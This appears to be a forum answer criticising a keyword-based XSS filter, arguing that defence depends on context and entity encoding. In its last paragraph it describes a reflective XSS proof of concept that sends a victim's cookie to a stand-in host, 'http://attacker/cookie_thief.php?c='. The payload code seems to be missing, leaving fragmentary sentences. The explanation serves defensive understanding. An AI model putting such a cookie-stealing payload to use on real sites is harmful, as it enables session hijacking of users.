First and foremost XSS is entirely dependent on context. Forcing all input though the same filter will never work all of the time. This is just not how web applications deal with the problem of XSS. The biggest problem with this method of XSS protection is that it is not binary safe. HTML Entity encoding will preserve the value without leading to XSS.
Most of these proposed restrictions have no impact on a given web applications susceptibility to XSS. The most obvious problem is checking for
prompt, as these are strings that will never appear in a real attack. This is because a real attacker wants to be undetected, an alert box is a dead give away.
To answer your question, YES, there are numerous conditions in which an attacker could obtain XSS given these arbitrary restrictions. What comes to mind first is DOM Based XSS and DOM Event Injection.
Plain old reflective XSS will also work in a number of situations, the following is a PoC payload, assuming the attacker is already writing within a
In this case
document.referrer is where the reflective XSS payload originated from lets call it
http://attacker/cookie_thief.php?c=. In this payload the victim's browser will be redirected back to
http://attacker/cookie_thief.php?c= by the XSS payload, and the
c GET variable will be populated with the cookie value.